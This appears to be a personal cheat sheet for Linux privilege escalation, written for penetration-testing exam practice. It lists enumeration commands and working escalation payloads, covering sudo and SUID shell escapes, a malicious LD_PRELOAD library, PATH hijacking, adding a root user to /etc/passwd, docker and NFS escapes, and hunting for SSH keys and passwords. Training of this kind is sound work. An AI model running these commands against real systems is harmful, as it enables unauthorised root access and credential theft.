Linux Privilege Escalation
Principle: On an unseen box, the win is not knowing a trick — it’s running the same enumeration sequence every time so nothing gets skipped under pressure, then mapping the output to a vector bucket below. Depth over trick-count. Exhaust misconfigurations before ever reaching for a kernel exploit.
0. Quick-start enumeration sequence
Run these first, by hand, before any automated tool. Read the output yourself, then confirm with LinPEAS.
1
2
3
4
5
6
7
8
9
10
11
12
id # who am I, what groups
sudo -l # highest-yield check — do this first
uname -a; cat /etc/os-release # kernel + distro (last-resort CVE context)
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
getcap -r / 2>/dev/null # file capabilities
cat /etc/crontab; ls -la /etc/cron* # cron jobs
systemctl list-timers --all 2>/dev/null # systemd timers
find / -writable -type f 2>/dev/null | grep -v "/proc/" # writable files
cat /etc/exports 2>/dev/null # NFS shares
ls -la /etc/passwd /etc/shadow # writable sensitive files?
history; ls -la ~/.ssh 2>/dev/null # creds + keys
Then run pspy (below) in the background while you work — it catches root-run cron/processes you can’t see with crontab -l.
1. Automated tooling (confirm, don’t replace, manual enum)
| Tool | Use | Notes |
|---|---|---|
| LinPEAS | Broad automated enum | Read it critically — highlights are colour-coded (red/yellow = likely win). Don’t trust blindly. |
| lse.sh (linux-smart-enumeration) | Quieter, tiered enum | ./lse.sh -l1 / -l2 for progressively more detail. Cleaner than LinPEAS. |
| pspy | Watch processes/cron fire without root | Indispensable for spotting root-run cron scripts and their arguments. |
| linux-exploit-suggester | Kernel CVE candidates | Only when misconfigs are exhausted. Cross-check before running anything. |
| GTFOBins | Exploitation recipes for sudo/SUID binaries | Permanent reference. Bookmark offline for exam day. |
Discipline: for the first ~15–20 boxes, do the manual checks first and use LinPEAS only to catch what you missed. This calibrates your eye so you stop needing it as a crutch.
2. Vector taxonomy
Every escalation sorts into one of these. Memorise the buckets so enum output instantly maps to “which of these is this?”
2.1 sudo misconfigurations — highest yield
- Enumerate:
sudo -l - Signal: any binary you can run as root, especially with
NOPASSWD. Also noteenv_keepentries. - Exploit: look the binary up on GTFOBins under the
sudofunction. Classic wins:vim,less,awk,find,nmap --interactive,python,perl,env,tar --checkpoint.1 2
sudo find . -exec /bin/sh \; -quit sudo awk 'BEGIN {system("/bin/sh")}'
- Also check:
(ALL, !root)misconfig → CVE-2019-14287:sudo -u#-1 <cmd>.
2.2 SUID / SGID binaries
- Enumerate:
find / -perm -4000 -type f 2>/dev/null(SUID),-perm -2000(SGID). - Signal: a non-standard SUID binary, or a standard one that shouldn’t be SUID.
- Exploit: GTFOBins under the
suidfunction.1 2 3
# examples ./binary # if it drops a shell / reads files as root cp # SUID cp → overwrite /etc/passwd
- Custom SUID binaries: run
stringson them — look for relative-path command calls (→ PATH hijack, §2.9) or hard-coded creds.
2.3 Linux capabilities
- Enumerate:
getcap -r / 2>/dev/null - Signal:
cap_setuid,cap_dac_read_search,cap_dac_overrideon a binary. - Exploit: GTFOBins
capabilitiesfunction. Common:1 2 3 4
# python with cap_setuid+ep ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' # perl with cap_setuid ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
2.4 Cron jobs / systemd timers
- Enumerate:
cat /etc/crontab,ls -la /etc/cron.*,crontab -l,systemctl list-timers --all. Run pspy to catch jobs not visible in crontab. - Signal: a root cron job calling a script you can write to, a script in a writable directory, a relative path, or a wildcard.
- Exploit:
- Writable script → append a reverse shell /
chmod +s /bin/bash. - Wildcard injection (e.g.
tar *in cron) → drop--checkpointpayload files. - PATH-based → see §2.9.
1 2 3
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/writable_script.sh # then, after it fires: /tmp/rootbash -p
- Writable script → append a reverse shell /
2.5 Writable sensitive files
- Enumerate:
ls -la /etc/passwd /etc/shadow /etc/sudoers;find / -writable -type f 2>/dev/null. - Signal: world/group-writable
/etc/passwdor/etc/shadow. - Exploit (
/etc/passwdwritable):1 2 3
openssl passwd -1 -salt x pass123 # generate hash echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd su root2 # password: pass123
2.6 Services / software running as root
- Enumerate:
ps aux | grep root,netstat -tulpn/ss -tulpn(root-owned listeners on localhost). - Signal: a root process with a known local exploit, or an internal-only service (e.g. DB, admin panel) bound to 127.0.0.1.
- Exploit: version-check the service → known CVE / misconfig. Internal-only services may need a local port-forward — cross-ref [[Pivoting]].
2.7 Dangerous group memberships
- Enumerate:
id,groups. - Exploit by group:
1 2 3 4 5
# docker docker run -v /:/mnt --rm -it alpine chroot /mnt sh # lxd / lxc → import alpine image, mount host / into container, chroot # disk → read raw filesystem debugfs /dev/sda1 # then: cat /root/root.txt etc.
- Others worth flagging:
adm(log read → creds),shadow(read/etc/shadow→ crack),video,wheel/sudo.
2.8 Credential hunting
- Enumerate:
1 2 3 4 5
history; cat ~/.bash_history find / -name "*.conf" -o -name "*.config" 2>/dev/null grep -rin "password\|passwd\|secret\|api[_-]key" /var/www /opt /home 2>/dev/null cat ~/.ssh/id_rsa; find / -name "id_rsa" 2>/dev/null cat /var/backups/* 2>/dev/null
- Signal: DB creds in web configs, plaintext passwords in scripts/history, private SSH keys, reused passwords (→ try
suto other users). - Feeds directly into [[Credential-Hunting]] and lateral movement.
2.9 PATH hijacking / LD_PRELOAD / LD_LIBRARY_PATH
- PATH hijack: when a root-run script or SUID binary calls another binary by relative name (e.g.
service, not/usr/sbin/service).1 2 3 4
export PATH=/tmp:$PATH echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/<called_binary> chmod +x /tmp/<called_binary> # trigger the SUID/cron job → /tmp/rootbash -p
- LD_PRELOAD: if
sudo -lshowsenv_keep+=LD_PRELOAD.1 2 3 4 5
// shell.c — compile: gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles #include <stdio.h> #include <stdlib.h> #include <unistd.h> void _init() { setuid(0); setgid(0); system("/bin/bash -p"); }
1
sudo LD_PRELOAD=/tmp/shell.so <any_allowed_binary>
- LD_LIBRARY_PATH: similar idea when a SUID binary loads a library from a writable path (check with
ldd <binary>).
2.10 NFS no_root_squash
- Enumerate:
cat /etc/exports(on target); from attacker:showmount -e <target>. - Signal: a share exported with
no_root_squash. - Exploit: mount from your box as root, drop a SUID binary that gets root UID on the target.
1 2 3 4 5
# on attacker (as root) mkdir /mnt/nfs && mount -o rw <target>:/share /mnt/nfs cp /bin/bash /mnt/nfs/rootbash && chmod +s /mnt/nfs/rootbash # on target /share/rootbash -p
2.11 Kernel / pkexec / sudo CVEs — last resort
- Enumerate:
uname -a,cat /etc/os-release, thenlinux-exploit-suggester. - Only after every misconfig above is exhausted — kernel exploits are unstable and can crash the box (costly under exam conditions).
- High-signal named CVEs to check for:
- PwnKit — CVE-2021-4034 (pkexec, near-universal on unpatched systems)
- Baron Samedit — CVE-2021-3156 (sudo heap overflow)
- DirtyPipe — CVE-2022-0847 (kernel 5.8–5.16)
- Dirty COW — CVE-2016-5195 (older kernels)
- Verify the target’s version is actually in range before running anything.
3. Exam-day discipline
- Sequence, don’t improvise. Run §0 top-to-bottom every single time. Panic makes you skip
sudo -l. - Read tool output — don’t just run it. A LinPEAS red flag you can’t interpret is useless. Understand the mechanism, not the command, or a slight variation on a known trick will beat you.
- Misconfigs before kernel. Kernel exploits are a last resort — unstable and often unnecessary.
- Stabilise first. Get a proper TTY (
python3 -c 'import pty;pty.spawn("/bin/bash")', thenCtrl-Z→stty raw -echo; fg) before deep enum. - Note the why. For every root, record the misconfig that enabled it, not just the command — that’s what generalises.
4. Per-box loop (feeds this chapter)
For every box you root:
- In the per-target note, record why the vector existed (the misconfig, not just the payload).
- If the technique is new, add it to the right §2 bucket here with the exact enumeration signal that would have flagged it.
That closes the loop between Targets/Linux/ notes and this reference chapter, and keeps §2 as your authoritative exam-day checklist.
5. References
- GTFOBins — sudo/SUID/capabilities exploitation recipes
- HackTricks → Linux Privilege Escalation (use as a cross-reference checklist, not passive reading)
- PEASS-ng (LinPEAS), linux-smart-enumeration, pspy, linux-exploit-suggester
- Practice: TCM “Linux Privilege Escalation for Beginners”; THM “Linux PrivEsc” / “Linux PrivEsc Arena”; VulnHub Lin.Security; then PG Practice + HTB volume